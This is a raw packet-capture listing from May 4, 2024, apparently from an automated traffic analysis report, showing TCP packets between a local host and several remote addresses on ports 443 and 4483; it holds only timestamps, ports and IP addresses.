May 4, 2024 07:21:58.469300032 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.469343901 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.469350100 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.477682114 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.477730989 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.477736950 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.485654116 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.485697985 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.485703945 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.493215084 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.493268013 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.493273973 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.500574112 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.500617027 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.500622988 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.507725954 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.507795095 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.507801056 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.515027046 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.515069962 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.515075922 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.525794029 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.525818110 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.525854111 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.525861025 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.525902033 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.533237934 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.540611029 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.540636063 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.540677071 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.540684938 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.540723085 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.547903061 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.555305958 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.555330992 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.555347919 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.555355072 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.555389881 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.561686039 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.569900036 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.569922924 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.569961071 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.569967985 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.570003986 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.577845097 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.584217072 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.584244013 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.584259987 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.584264994 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.584300995 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.590941906 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.597522974 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.597564936 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.597570896 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.603962898 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.604007959 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.604012966 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.613473892 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.613500118 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.613519907 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.613527060 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.613567114 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.619613886 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.625618935 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.625660896 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.625665903 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.631915092 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.631936073 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.631961107 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.631967068 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.632003069 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.635818005 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.639743090 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.639764071 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.639785051 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.639791012 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.639827013 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.643513918 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.643620968 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.643676043 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:59.358083010 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:59.416405916 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:59.416421890 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:22:00.171653032 CEST	49731	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:00.186817884 CEST	49749	443	192.168.2.4	23.3.84.131
May 4, 2024 07:22:00.186851025 CEST	443	49749	23.3.84.131	192.168.2.4
May 4, 2024 07:22:00.186922073 CEST	49749	443	192.168.2.4	23.3.84.131
May 4, 2024 07:22:00.188693047 CEST	49749	443	192.168.2.4	23.3.84.131
May 4, 2024 07:22:00.188709021 CEST	443	49749	23.3.84.131	192.168.2.4
May 4, 2024 07:22:00.516391993 CEST	443	49749	23.3.84.131	192.168.2.4
May 4, 2024 07:22:00.516472101 CEST	49749	443	192.168.2.4	23.3.84.131
May 4, 2024 07:22:00.518925905 CEST	49749	443	192.168.2.4	23.3.84.131
May 4, 2024 07:22:00.518934011 CEST	443	49749	23.3.84.131	192.168.2.4
May 4, 2024 07:22:00.519164085 CEST	443	49749	23.3.84.131	192.168.2.4
May 4, 2024 07:22:00.602482080 CEST	49749	443	192.168.2.4	23.3.84.131
May 4, 2024 07:22:00.648113012 CEST	443	49749	23.3.84.131	192.168.2.4
May 4, 2024 07:22:00.831604004 CEST	443	49749	23.3.84.131	192.168.2.4
May 4, 2024 07:22:00.831664085 CEST	443	49749	23.3.84.131	192.168.2.4
May 4, 2024 07:22:00.831753969 CEST	49749	443	192.168.2.4	23.3.84.131
May 4, 2024 07:22:00.831891060 CEST	49749	443	192.168.2.4	23.3.84.131
May 4, 2024 07:22:00.831907034 CEST	443	49749	23.3.84.131	192.168.2.4
May 4, 2024 07:22:00.866106033 CEST	49750	443	192.168.2.4	23.3.84.131
May 4, 2024 07:22:00.866137981 CEST	443	49750	23.3.84.131	192.168.2.4
May 4, 2024 07:22:00.866297007 CEST	49750	443	192.168.2.4	23.3.84.131
May 4, 2024 07:22:00.866569042 CEST	49750	443	192.168.2.4	23.3.84.131
May 4, 2024 07:22:00.866583109 CEST	443	49750	23.3.84.131	192.168.2.4
May 4, 2024 07:22:01.106992006 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:01.193352938 CEST	443	49750	23.3.84.131	192.168.2.4
May 4, 2024 07:22:01.193428040 CEST	49750	443	192.168.2.4	23.3.84.131
May 4, 2024 07:22:01.194638014 CEST	49750	443	192.168.2.4	23.3.84.131
May 4, 2024 07:22:01.194649935 CEST	443	49750	23.3.84.131	192.168.2.4
May 4, 2024 07:22:01.194880009 CEST	443	49750	23.3.84.131	192.168.2.4
May 4, 2024 07:22:01.195923090 CEST	49750	443	192.168.2.4	23.3.84.131
May 4, 2024 07:22:01.240115881 CEST	443	49750	23.3.84.131	192.168.2.4
May 4, 2024 07:22:01.409250975 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:01.409388065 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:01.409652948 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:01.518220901 CEST	443	49750	23.3.84.131	192.168.2.4
May 4, 2024 07:22:01.518280983 CEST	443	49750	23.3.84.131	192.168.2.4
May 4, 2024 07:22:01.518421888 CEST	49750	443	192.168.2.4	23.3.84.131
May 4, 2024 07:22:01.519064903 CEST	49750	443	192.168.2.4	23.3.84.131
May 4, 2024 07:22:01.519078970 CEST	443	49750	23.3.84.131	192.168.2.4
May 4, 2024 07:22:01.519089937 CEST	49750	443	192.168.2.4	23.3.84.131
May 4, 2024 07:22:01.519095898 CEST	443	49750	23.3.84.131	192.168.2.4
May 4, 2024 07:22:01.714440107 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:01.714744091 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:02.016995907 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:02.017174959 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:02.017416000 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:02.319535017 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:02.319801092 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:02.319921017 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:02.319921017 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:02.319955111 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:02.320040941 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:02.623465061 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:02.623480082 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:02.623490095 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:02.623625040 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:02.623692036 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:02.623703003 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:02.623859882 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:02.623872042 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:02.623967886 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:02.624058962 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:02.926657915 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:02.926672935 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:02.926682949 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:02.926834106 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:02.926841021 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:02.927041054 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:02.927051067 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:02.927191019 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:02.927194118 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:02.927213907 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:02.927259922 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:02.927330971 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:02.927759886 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:02.927839994 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:02.927972078 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:02.927983999 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:02.928071976 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:03.230995893 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.231401920 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.231493950 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:03.231595039 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.232194901 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.232222080 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.232285023 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:03.232331991 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:03.232438087 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.232506037 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.232625008 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.232752085 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:03.232994080 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.233838081 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.233876944 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.233905077 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:03.233921051 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:03.234611988 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.234622955 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.234704018 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:03.234879017 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.236064911 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.236140966 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.236150980 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.236171007 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:03.236177921 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.236253023 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:03.236790895 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.237426043 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.237535954 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.237545013 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.237742901 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.237827063 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.238106012 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.238136053 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.238245010 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.238300085 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.238385916 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.238564014 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.238574028 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.535648108 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.536187887 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.536200047 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.536453962 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.536470890 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.536798000 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.536851883 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.537245989 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.537266016 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.537276030 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.537336111 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.537415981 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.538038969 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.538579941 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.538590908 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.539242983 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.539253950 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.539401054 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.539525986 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.539535999 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.539575100 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.539591074 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.539674997 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.539783001 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.539877892 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.539987087 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.540049076 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.540241003 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.544272900 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.544284105 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.544292927 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.544306040 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.544313908 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.544325113 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.544334888 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.544339895 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.544343948 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.544353008 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.544626951 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.788734913 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:03.832937956 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.079643965 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.382859945 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.383455038 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.383516073 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.383568048 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.383624077 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.383681059 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.383728981 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.383784056 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.685996056 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.686031103 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.686041117 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.686049938 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.686059952 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.686079979 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.686111927 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.686115026 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.686157942 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.686173916 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.686234951 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.686245918 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.686297894 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.686328888 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.686337948 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.686377048 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.686472893 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.686534882 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.686702013 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.686712980 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.686764002 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.686831951 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.686847925 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.686887026 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.686908007 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.686918020 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.686968088 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.687035084 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.687093973 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.688035965 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.688046932 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.688055992 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.688065052 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.688074112 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.688083887 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.688128948 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.688173056 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.688301086 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.688354015 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.688385963 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.688417912 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.688457966 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.688653946 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.688719988 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.688939095 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.688987970 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.689001083 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.689039946 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.689080000 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.689146042 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.689354897 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.689364910 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.689421892 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.689528942 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.689580917 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.689713955 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.689723969 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.689755917 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.689780951 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.690129042 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.690187931 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.690480947 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.690491915 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.690558910 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.690584898 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.690639019 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.988363981 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.988379002 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.988451958 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.988476038 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.988503933 CEST	49751	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:22:04.989128113 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.989137888 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.989145994 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.989202976 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.989377022 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.989675999 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.989823103 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.989833117 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.990098000 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.990113974 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.990335941 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.990456104 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.990686893 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.990868092 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.990973949 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.991066933 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.991178036 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.991502047 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.991564035 CEST	4483	49751	185.223.28.15	192.168.2.4
May 4, 2024 07:22:04.991576910 CEST	4483	49751	185.223.28.15	192.168.2.4
